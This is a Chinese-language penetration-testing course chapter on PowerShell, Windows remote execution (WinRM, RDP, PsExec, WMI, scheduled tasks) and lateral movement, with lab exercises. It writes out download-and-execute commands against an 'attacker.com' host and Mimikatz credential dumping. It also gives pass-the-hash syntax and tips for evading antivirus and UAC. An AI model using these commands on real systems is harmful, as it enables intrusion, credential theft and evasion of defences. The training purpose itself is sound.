第7章 远程连接与ARP欺骗(第18--20天)
7.1 PowerShell与远程连接(第18天)
核心目标
-
掌握PowerShell渗透测试:深入理解PowerShell在渗透测试中的优势,熟练使用PowerShell进行系统管理、信息收集、权限提升和横向移动。
-
掌握Windows远程管理协议:理解WinRM、RDP、PsExec、WMI等远程连接方式的原理、配置和使用场景。
-
掌握内网横向移动技术:能够利用PowerShell和远程连接工具在Windows域环境或工作组环境中进行横向渗透。
模块一:PowerShell渗透测试核心
1.1 PowerShell基础与优势
-
执行策略:
Get-ExecutionPolicy # 查看当前策略 Set-ExecutionPolicy Bypass -Scope Process # 临时绕过策略 powershell -ExecutionPolicy Bypass -File script.ps1 # 执行时绕过 -
常用渗透测试Cmdlet:
Get-Process # 获取进程 Get-Service # 获取服务 Get-WmiObject -Class Win32_ComputerSystem # 系统信息 Get-NetIPAddress # 网络配置 Get-LocalUser # 本地用户 Get-LocalGroupMember Administrators # 管理员组成员
1.2 常用渗透测试脚本与框架
-
PowerSploit:经典渗透测试框架。
# 下载并执行PowerSploit模块 IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Get-SystemInfo.ps1') Get-SystemInfo -
Nishang:功能全面的渗透测试框架。
-
Empire / Cobalt Strike:完整的C2框架,集成PowerShell功能。
1.3 无文件攻击与内存执行
-
远程下载执行:
# 方法1:DownloadString IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1') # 方法2:DownloadFile (New-Object Net.WebClient).DownloadFile('http://attacker.com/mimikatz.exe', 'C:\Windows\Temp\m.exe') # 方法3:BitsTransfer Start-BitsTransfer -Source "http://attacker.com/payload.exe" -Destination "C:\Windows\Temp\p.exe" -
Base64编码绕过:
$command = "Get-Process" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell -EncodedCommand $encodedCommand
模块二:Windows远程管理协议详解
2.1 WinRM(Windows远程管理)
-
原理:基于WS-Management协议,默认端口5985(HTTP)/5986(HTTPS)。
-
启用与配置:
# 启用WinRM(需管理员) Enable-PSRemoting -Force # 设置信任所有主机 Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force # 查看WinRM状态 Get-Service WinRM -
远程执行:
# 交互式会话 Enter-PSSession -ComputerName 192.168.1.10 -Credential domain\user # 远程执行命令 Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock {Get-Process} -Credential domain\user # 使用哈希传递(需管理员权限和特定配置) $SecPassword = ConvertTo-SecureString "哈希值" -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential("domain\user", $SecPassword) Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock {Get-Process} -Credential $Cred
2.2 RDP(远程桌面协议)
-
默认端口:3389
-
启用RDP:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh advfirewall firewall add rule name="Remote Desktop" dir=in action=allow protocol=TCP localport=3389 -
连接工具:
-
mstsc:Windows自带远程桌面客户端 -
xfreerdp:Linux下的RDP客户端 -
rdesktop:Linux下的RDP客户端
-
2.3 PsExec
-
原理:通过ADMIN$共享和Service Control Manager(服务控制管理器)在远程系统上执行命令。
-
使用:
# 下载PsExec PsExec.exe \\192.168.1.10 -u domain\user -p password cmd.exe PsExec.exe \\192.168.1.10 -u domain\user -p password -s cmd.exe # 以SYSTEM权限运行 PsExec.exe \\192.168.1.10 -u domain\user -p hashes:哈希 cmd.exe # 哈希传递
2.4 WMI(Windows管理规范)
-
原理:Windows管理基础设施,可用于远程管理。
-
远程执行:
# PowerShell方式 Get-WmiObject -Class Win32_Process -ComputerName 192.168.1.10 -Credential domain\user # 创建进程 $process = [Wmiclass]"\\192.168.1.10\root\cimv2:Win32_Process" $process.Create("notepad.exe") # wmic命令 wmic /node:192.168.1.10 /user:domain\user /password:password process call create "cmd.exe /c whoami"
2.5 计划任务(SchTasks)
-
远程创建计划任务执行命令:
schtasks /create /s 192.168.1.10 /u domain\user /p password /tn "TaskName" /tr "C:\Windows\System32\calc.exe" /sc once /st 00:00 schtasks /run /s 192.168.1.10 /u domain\user /p password /tn "TaskName" schtasks /delete /s 192.168.1.10 /u domain\user /p password /tn "TaskName" /f
模块三:横向移动实战技术
3.1 凭证获取
-
Mimikatz:获取内存中的凭证。
# 下载并执行Mimikatz IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1') Invoke-Mimikatz -DumpCreds -
从文件获取:提取保存的RDP凭据、浏览器密码等。
3.2 哈希传递攻击
-
条件:获取了用户的NTLM哈希,且目标主机未启用CredSSP或限制受限管理模式。
-
工具:
-
Mimikatz:
sekurlsa::pth /user:username /domain:domain /ntlm:hash -
Impacket的
psexec.py:psexec.py -hashes :哈希 domain/username@目标IP
3.3 令牌窃取与假冒
-
原理:窃取高权限用户的访问令牌。
-
Mimikatz命令:
token::elevate # 提升令牌权限 token::revert # 恢复令牌 lsadump::sam # 导出SAM哈希
3.4 横向移动流程
-
信息收集:使用PowerShell收集域内计算机、用户、组信息。
-
凭证窃取:在已控制的主机上提取凭据。
-
网络探测:扫描内网存活主机和开放端口。
-
服务枚举:识别可用的远程管理服务(SMB, WinRM, RDP等)。
-
横向移动:使用获取的凭据尝试连接其他主机。
-
权限提升:在新主机上提升权限。
-
持续化:建立持久访问。
模块四:当日达标实战任务
4.1 PowerShell基础操作
-
环境配置 :在Windows虚拟机中,打开PowerShell,将执行策略设置为
Bypass。编写一个简单的PowerShell脚本,显示系统信息(主机名、IP地址、操作系统版本)并保存为.ps1文件,成功执行。 -
信息收集:使用PowerShell收集以下信息:所有本地用户、管理员组成员、运行的服务、网络共享、已安装的软件、补丁列表。
4.2 远程连接实践
-
WinRM连接 :配置两台Windows虚拟机(攻击机和靶机)之间的WinRM通信。在攻击机上使用
Enter-PSSession成功连接到靶机,并执行命令如whoami、hostname。 -
PsExec使用 :在攻击机上使用PsExec连接到靶机,创建文件
C:\test.txt,并写入内容"Test from PsExec"。
4.3 横向移动模拟
-
凭证获取练习:在授权的实验环境中,使用Mimikatz(或Invoke-Mimikatz.ps1)从内存中提取凭据。记录获取到的NTLM哈希。
-
哈希传递攻击:使用获取的哈希,尝试通过PsExec或Impacket工具横向移动到同一网络中的另一台主机(需提前设置好测试环境)。
-
RDP连接 :在Kali Linux上使用
xfreerdp或rdesktop连接到Windows靶机的远程桌面。
模块五:常见问题与解决方案
5.1 PowerShell执行问题
-
"无法加载文件,因为在此系统上禁止运行脚本" :执行策略限制。使用
-ExecutionPolicy Bypass参数,或以管理员身份修改执行策略。 -
脚本被Windows Defender拦截 :对脚本进行混淆、编码或分块传输。或使用白名单程序(如
certutil.exe)下载执行。
5.2 远程连接失败
-
WinRM连接失败"未经授权的访问":检查凭据是否正确,WinRM服务是否启用,防火墙是否允许5985端口,以及TrustedHosts设置。
-
PsExec连接失败"拒绝访问":确保使用管理员凭据,目标开启ADMIN$共享,防火墙允许445端口。
-
RDP连接失败:检查目标是否启用远程桌面,防火墙是否允许3389端口,网络策略是否允许。
5.3 横向移动障碍
-
UAC限制:Windows UAC可能阻止某些操作。尝试通过计划任务、服务等方式绕过,或使用高完整性令牌。
-
杀毒软件拦截:Mimikatz等工具容易被查杀。使用内存执行、反射加载、混淆等方式绕过。
明日预告 :第19天将学习ARP欺骗原理与Ettercap实战,掌握局域网中间人攻击技术,实现流量劫持、会话窃取和密码嗅探。